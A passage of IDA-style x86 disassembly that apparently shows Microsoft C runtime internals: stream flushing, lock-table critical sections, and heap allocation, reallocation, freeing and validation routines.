jnz short loc_42160A
int 3 ; Trap to Debugger
loc_42160A: ; CODE XREF: sub_4215E0+Aj
; sub_4215E0+27j
xor eax, eax
test eax, eax
jnz short loc_4215E6
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_42166D
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_42166D
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_41B8F0
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_42166D: ; CODE XREF: sub_4215E0+3Ej
; sub_4215E0+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4215E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_421696
push 0
call sub_4217F0
add esp, 4
jmp short loc_4216C0
; ---------------------------------------------------------------------------
loc_421696: ; CODE XREF: seg000:00421688j
mov eax, [ebp+8]
push eax
call sub_41F070
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_4216D0
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_41F0E0
add esp, 4
mov eax, [ebp-4]
loc_4216C0: ; CODE XREF: seg000:00421694j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216D0 proc near ; CODE XREF: seg000:004216A6p
; sub_4217F0+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_421720
add esp, 4
test eax, eax
jz short loc_4216E8
or eax, 0FFFFFFFFh
jmp short loc_42170F
; ---------------------------------------------------------------------------
loc_4216E8: ; CODE XREF: sub_4216D0+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_42170D
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_42DC50
add esp, 4
neg eax
sbb eax, eax
jmp short loc_42170F
; ---------------------------------------------------------------------------
loc_42170D: ; CODE XREF: sub_4216D0+26j
xor eax, eax
loc_42170F: ; CODE XREF: sub_4216D0+16j
; sub_4216D0+3Bj
pop ebp
retn
sub_4216D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421720 proc near ; CODE XREF: sub_41AD80+53p
; sub_420250+A2p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_4217BB
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_4217BB
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_4217BB
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_42DD30
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_4217A5
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_4217A3
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_4217A3: ; CODE XREF: sub_421720+72j
jmp short loc_4217BB
; ---------------------------------------------------------------------------
loc_4217A5: ; CODE XREF: sub_421720+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_4217BB: ; CODE XREF: sub_421720+1Fj
; sub_421720+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E0 proc near ; CODE XREF: sub_41F050+3p
push ebp
mov ebp, esp
push 1
call sub_4217F0
add esp, 4
pop ebp
retn
sub_4217E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217F0 proc near ; CODE XREF: seg000:0042168Cp
; sub_4217E0+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_421A80
add esp, 4
mov [ebp+var_C], 0
jmp short loc_421820
; ---------------------------------------------------------------------------
loc_421817: ; CODE XREF: sub_4217F0:loc_42190Ej
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_421820: ; CODE XREF: sub_4217F0+25j
mov ecx, [ebp+var_C]
cmp ecx, ds:dword_4F0080
jge loc_421913
mov edx, [ebp+var_C]
mov eax, ds:dword_4EF06C
cmp dword ptr [eax+edx*4], 0
jz loc_42190E
mov ecx, [ebp+var_C]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_42190E
mov edx, [ebp+var_C]
mov eax, ds:dword_4EF06C
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_41F0B0
add esp, 8
mov eax, [ebp+var_C]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_4218F5
cmp [ebp+arg_0], 1
jnz short loc_4218B9
mov ecx, [ebp+var_C]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
push eax
call sub_4216D0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_4218B7
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4218B7: ; CODE XREF: sub_4217F0+BCj
jmp short loc_4218F5
; ---------------------------------------------------------------------------
loc_4218B9: ; CODE XREF: sub_4217F0+A2j
cmp [ebp+arg_0], 0
jnz short loc_4218F5
mov edx, [ebp+var_C]
mov eax, ds:dword_4EF06C
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_4218F5
mov eax, [ebp+var_C]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
push edx
call sub_4216D0
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_4218F5
mov [ebp+var_8], 0FFFFFFFFh
loc_4218F5: ; CODE XREF: sub_4217F0+9Cj
; sub_4217F0:loc_4218B7j ...
mov eax, [ebp+var_C]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41F120
add esp, 8
loc_42190E: ; CODE XREF: sub_4217F0+4Bj
; sub_4217F0+68j
jmp loc_421817
; ---------------------------------------------------------------------------
loc_421913: ; CODE XREF: sub_4217F0+39j
push 2
call sub_421B20
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_421928
mov eax, [ebp+var_4]
jmp short loc_42192B
; ---------------------------------------------------------------------------
loc_421928: ; CODE XREF: sub_4217F0+131j
mov eax, [ebp+var_8]
loc_42192B: ; CODE XREF: sub_4217F0+136j
mov esp, ebp
pop ebp
retn
sub_4217F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_421A80
add esp, 4
mov eax, ds:dword_4EE9E8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4EE9E8, ecx
push 9
call sub_421B20
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:dword_4EE9E8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421970 proc near ; CODE XREF: sub_41AEB0+48p
; sub_421B80+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EE9E8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_421990
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_421994
loc_421990: ; CODE XREF: sub_421970+10j
xor eax, eax
jmp short loc_421999
; ---------------------------------------------------------------------------
loc_421994: ; CODE XREF: sub_421970+1Ej
mov eax, 1
loc_421999: ; CODE XREF: sub_421970+22j
mov esp, ebp
pop ebp
retn
sub_421970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219A0 proc near ; CODE XREF: sub_425B50+4p
push ebp
mov ebp, esp
mov eax, ds:off_44FDA4
push eax
call ds:dword_4F1444 ; InitializeCriticalSection
mov ecx, ds:off_44FD94
push ecx
call ds:dword_4F1444 ; InitializeCriticalSection
mov edx, ds:off_44FD84
push edx
call ds:dword_4F1444 ; InitializeCriticalSection
mov eax, ds:off_44FD64
push eax
call ds:dword_4F1444 ; InitializeCriticalSection
pop ebp
retn
sub_4219A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219E0 proc near ; CODE XREF: seg000:00425BE3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_4219F6
; ---------------------------------------------------------------------------
loc_4219ED: ; CODE XREF: sub_4219E0:loc_421A47j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4219F6: ; CODE XREF: sub_4219E0+Bj
cmp [ebp+var_4], 30h
jge short loc_421A49
mov ecx, [ebp+var_4]
cmp ds:dword_44FD60[ecx*4], 0
jz short loc_421A47
cmp [ebp+var_4], 11h
jz short loc_421A47
cmp [ebp+var_4], 0Dh
jz short loc_421A47
cmp [ebp+var_4], 9
jz short loc_421A47
cmp [ebp+var_4], 1
jz short loc_421A47
mov edx, [ebp+var_4]
mov eax, ds:dword_44FD60[edx*4]
push eax
call ds:dword_4F136C ; RtlDeleteCriticalSection
push 2
mov ecx, [ebp+var_4]
mov edx, ds:dword_44FD60[ecx*4]
push edx
call sub_41B8F0
add esp, 8
loc_421A47: ; CODE XREF: sub_4219E0+27j
; sub_4219E0+2Dj ...
jmp short loc_4219ED
; ---------------------------------------------------------------------------
loc_421A49: ; CODE XREF: sub_4219E0+1Aj
mov eax, ds:off_44FD84
push eax
call ds:dword_4F136C ; RtlDeleteCriticalSection
mov ecx, ds:off_44FD94
push ecx
call ds:dword_4F136C ; RtlDeleteCriticalSection
mov edx, ds:off_44FDA4
push edx
call ds:dword_4F136C ; RtlDeleteCriticalSection
mov eax, ds:off_44FD64
push eax
call ds:dword_4F136C ; RtlDeleteCriticalSection
mov esp, ebp
pop ebp
retn
sub_4219E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A80 proc near ; CODE XREF: sub_41AEB0+6p
; sub_41B2F0+6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ds:dword_44FD60[eax*4], 0
jnz short loc_421B02
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_41AE60
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_421ABA
push 11h
call sub_420CA0
add esp, 4
loc_421ABA: ; CODE XREF: sub_421A80+2Ej
push 11h
call sub_421A80
add esp, 4
mov ecx, [ebp+arg_0]
cmp ds:dword_44FD60[ecx*4], 0
jnz short loc_421AEA
mov edx, [ebp+var_4]
push edx
call ds:dword_4F1444 ; InitializeCriticalSection
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov ds:dword_44FD60[eax*4], ecx
jmp short loc_421AF8
; ---------------------------------------------------------------------------
loc_421AEA: ; CODE XREF: sub_421A80+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_41B8F0
add esp, 8
loc_421AF8: ; CODE XREF: sub_421A80+68j
push 11h
call sub_421B20
add esp, 4
loc_421B02: ; CODE XREF: sub_421A80+Fj
mov eax, [ebp+arg_0]
mov ecx, ds:dword_44FD60[eax*4]
push ecx
call ds:dword_4F1364 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_421A80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B20 proc near ; CODE XREF: sub_41AEB0+2Bp
; sub_41B2F0+31p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, ds:dword_44FD60[eax*4]
push ecx
call ds:dword_4F1360 ; RtlLeaveCriticalSection
pop ebp
retn
sub_421B20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call near ptr 3D0000h
imul dword ptr [eax-1]
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
call ds:dword_4F12F8 ; ExitProcess
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B60 proc near ; CODE XREF: sub_421D10+10p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, ds:dword_4EE9E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421B80
add esp, 8
pop ebp
retn
sub_421B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B80 proc near ; CODE XREF: sub_421B60+Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_421B8E
xor eax, eax
jmp short loc_421BD3
; ---------------------------------------------------------------------------
loc_421B8E: ; CODE XREF: sub_421B80+8j
; sub_421B80:loc_421BD1j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_421BA5
mov eax, [ebp+arg_0]
push eax
call sub_421BE0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_421BAC
; ---------------------------------------------------------------------------
loc_421BA5: ; CODE XREF: sub_421B80+12j
mov [ebp+var_4], 0
loc_421BAC: ; CODE XREF: sub_421B80+23j
cmp [ebp+var_4], 0
jnz short loc_421BB8
cmp [ebp+arg_4], 0
jnz short loc_421BBD
loc_421BB8: ; CODE XREF: sub_421B80+30j
mov eax, [ebp+var_4]
jmp short loc_421BD3
; ---------------------------------------------------------------------------
loc_421BBD: ; CODE XREF: sub_421B80+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_421970
add esp, 4
test eax, eax
jnz short loc_421BD1
xor eax, eax
jmp short loc_421BD3
; ---------------------------------------------------------------------------
loc_421BD1: ; CODE XREF: sub_421B80+4Bj
jmp short loc_421B8E
; ---------------------------------------------------------------------------
loc_421BD3: ; CODE XREF: sub_421B80+Cj
; sub_421B80+3Bj ...
mov esp, ebp
pop ebp
retn
sub_421B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BE0 proc near ; CODE XREF: sub_41AF30+19Dp
; sub_421B80+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_44FE28
ja short loc_421C1D
push 9
call sub_421A80
add esp, 4
mov ecx, [ebp+arg_0]
push ecx
call sub_422810
add esp, 4
mov [ebp+var_4], eax
push 9
call sub_421B20
add esp, 4
cmp [ebp+var_4], 0
jz short loc_421C1D
mov eax, [ebp+var_4]
jmp short loc_421C49
; ---------------------------------------------------------------------------
loc_421C1D: ; CODE XREF: sub_421BE0+Dj
; sub_421BE0+36j
cmp [ebp+arg_0], 0
jnz short loc_421C2A
mov [ebp+arg_0], 1
loc_421C2A: ; CODE XREF: sub_421BE0+41j
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, ds:dword_4EF060
push ecx
call ds:dword_4F144C ; RtlAllocateHeap
loc_421C49: ; CODE XREF: sub_421BE0+3Bj
mov esp, ebp
pop ebp
retn
sub_421BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C50 proc near ; CODE XREF: sub_41AF30+79p
; sub_41B330+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_421C50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C60 proc near ; CODE XREF: sub_41B330+2D4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_421C73
xor eax, eax
jmp loc_421D09
; ---------------------------------------------------------------------------
loc_421C73: ; CODE XREF: sub_421C60+Aj
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_422180
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_421CD1
mov [ebp+var_4], 0
mov ecx, [ebp+arg_4]
cmp ecx, ds:dword_44FE28
ja short loc_421CC2
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_423050
add esp, 0Ch
test eax, eax
jz short loc_421CC2
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
loc_421CC2: ; CODE XREF: sub_421C60+42j
; sub_421C60+5Aj
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
jmp short loc_421D09
; ---------------------------------------------------------------------------
loc_421CD1: ; CODE XREF: sub_421C60+30j
push 9
call sub_421B20
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_421CE8
mov [ebp+arg_4], 1
loc_421CE8: ; CODE XREF: sub_421C60+7Fj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1450 ; RtlReAllocateHeap
loc_421D09: ; CODE XREF: sub_421C60+Ej
; sub_421C60+6Fj
mov esp, ebp
pop ebp
retn
sub_421C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D10 proc near ; CODE XREF: sub_41B330+2AFp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
jnz short loc_421D2D
mov eax, [ebp+arg_4]
push eax
call sub_421B60
add esp, 4
jmp loc_421EF6
; ---------------------------------------------------------------------------
loc_421D2D: ; CODE XREF: sub_421D10+Aj
cmp [ebp+arg_4], 0
jnz short loc_421D46
mov ecx, [ebp+arg_0]
push ecx
call sub_421F00
add esp, 4
xor eax, eax
jmp loc_421EF6
; ---------------------------------------------------------------------------
loc_421D46: ; CODE XREF: sub_421D10+21j
; sub_421D10:loc_421EF1j
mov [ebp+var_8], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_421EC9
push 9
call sub_421A80
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_422180
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz loc_421E8C
mov eax, [ebp+arg_4]
cmp eax, ds:dword_44FE28
ja short loc_421E00
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_423050
add esp, 0Ch
test eax, eax
jz short loc_421DA5
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_421E00
; ---------------------------------------------------------------------------
loc_421DA5: ; CODE XREF: sub_421D10+8Bj
mov edx, [ebp+arg_4]
push edx
call sub_422810
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_421E00
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_421DD6
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_421DDC
; ---------------------------------------------------------------------------
loc_421DD6: ; CODE XREF: sub_421D10+BCj
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
loc_421DDC: ; CODE XREF: sub_421D10+C4j
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41E840
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_422240
add esp, 8
loc_421E00: ; CODE XREF: sub_421D10+73j
; sub_421D10+93j ...
cmp [ebp+var_8], 0
jnz short loc_421E80
cmp [ebp+arg_4], 0
jnz short loc_421E13
mov [ebp+arg_4], 1
loc_421E13: ; CODE XREF: sub_421D10+FAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F144C ; RtlAllocateHeap
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_421E80
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_421E56
mov ecx, [ebp+var_4]
mov [ebp+var_14], ecx
jmp short loc_421E5C
; ---------------------------------------------------------------------------
loc_421E56: ; CODE XREF: sub_421D10+13Cj
mov edx, [ebp+arg_4]
mov [ebp+var_14], edx
loc_421E5C: ; CODE XREF: sub_421D10+144j
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_41E840
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_422240
add esp, 8
loc_421E80: ; CODE XREF: sub_421D10+F4j
; sub_421D10+128j
push 9
call sub_421B20
add esp, 4
jmp short loc_421EC9
; ---------------------------------------------------------------------------
loc_421E8C: ; CODE XREF: sub_421D10+64j
push 9
call sub_421B20
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_421EA3
mov [ebp+arg_4], 1
loc_421EA3: ; CODE XREF: sub_421D10+18Aj
mov edx, [ebp+arg_4]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_4], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, ds:dword_4EF060
push edx
call ds:dword_4F1450 ; RtlReAllocateHeap
mov [ebp+var_8], eax
loc_421EC9: ; CODE XREF: sub_421D10+41j
; sub_421D10+17Aj
cmp [ebp+var_8], 0
jnz short loc_421ED8
cmp ds:dword_4EE9E4, 0
jnz short loc_421EDD
loc_421ED8: ; CODE XREF: sub_421D10+1BDj
mov eax, [ebp+var_8]
jmp short loc_421EF6
; ---------------------------------------------------------------------------
loc_421EDD: ; CODE XREF: sub_421D10+1C6j
mov eax, [ebp+arg_4]
push eax
call sub_421970
add esp, 4
test eax, eax
jnz short loc_421EF1
xor eax, eax
jmp short loc_421EF6
; ---------------------------------------------------------------------------
loc_421EF1: ; CODE XREF: sub_421D10+1DBj
jmp loc_421D46
; ---------------------------------------------------------------------------
loc_421EF6: ; CODE XREF: sub_421D10+18j
; sub_421D10+31j ...
mov esp, ebp
pop ebp
retn
sub_421D10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F00 proc near ; CODE XREF: sub_41B920+26Ep
; sub_41B920+3B2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_421F0C
jmp short loc_421F64
; ---------------------------------------------------------------------------
loc_421F0C: ; CODE XREF: sub_421F00+8j
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_422180
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_421F47
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_422240
add esp, 8
push 9
call sub_421B20
add esp, 4
jmp short loc_421F64
; ---------------------------------------------------------------------------
loc_421F47: ; CODE XREF: sub_421F00+29j
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, ds:dword_4EF060
push ecx
call ds:dword_4F1454 ; RtlFreeHeap
loc_421F64: ; CODE XREF: sub_421F00+Aj
; sub_421F00+45j
mov esp, ebp
pop ebp
retn
sub_421F00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F70 proc near ; CODE XREF: sub_41C000+30p
; seg000:00421FF3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0FFFFFFFEh
push 9
call sub_421A80
add esp, 4
call sub_423770
test eax, eax
jge short loc_421F95
mov [ebp+var_4], 0FFFFFFFCh
loc_421F95: ; CODE XREF: sub_421F70+1Cj
push 9
call sub_421B20
add esp, 4
push 0
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1414 ; HeapValidate
test eax, eax
jnz short loc_421FDD
call ds:dword_4F1310 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_421FD6
call sub_4267F0
mov dword ptr [eax], 78h
call sub_4267E0
mov dword ptr [eax], 28h
jmp short loc_421FDD
; ---------------------------------------------------------------------------
loc_421FD6: ; CODE XREF: sub_421F70+4Cj
mov [ebp+var_4], 0FFFFFFFCh
loc_421FDD: ; CODE XREF: sub_421F70+41j
; sub_421F70+64j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421F70 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_421F70
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422000 proc near ; CODE XREF: seg000:00420BAEp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call ds:dword_4F145C ; HeapCreate
mov ds:dword_4EF060, eax
cmp ds:dword_4EF060, 0
jnz short loc_42202C
xor eax, eax
jmp short loc_42204B
; ---------------------------------------------------------------------------
loc_42202C: ; CODE XREF: sub_422000+26j
call sub_422120
test eax, eax
jnz short loc_422046
mov ecx, ds:dword_4EF060
push ecx
call ds:dword_4F1458 ; HeapDestroy
xor eax, eax
jmp short loc_42204B
; ---------------------------------------------------------------------------
loc_422046: ; CODE XREF: sub_422000+33j
mov eax, 1
loc_42204B: ; CODE XREF: sub_422000+2Aj
; sub_422000+44j
pop ebp
retn
sub_422000 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, ds:dword_4EF05C
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_422070
; ---------------------------------------------------------------------------
loc_422067: ; CODE XREF: seg000:004220C4j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_422070: ; CODE XREF: seg000:00422065j
mov edx, [ebp-4]
cmp edx, ds:dword_4EF058
jge short loc_4220C6
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F1460 ; VirtualFree
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call ds:dword_4F1460 ; VirtualFree
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1454 ; RtlFreeHeap
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_422067
; ---------------------------------------------------------------------------
loc_4220C6: ; CODE XREF: seg000:00422079j
mov edx, ds:dword_4EF05C
push edx
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1454 ; RtlFreeHeap
mov ecx, ds:dword_4EF060
push ecx
call ds:dword_4F1458 ; HeapDestroy
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
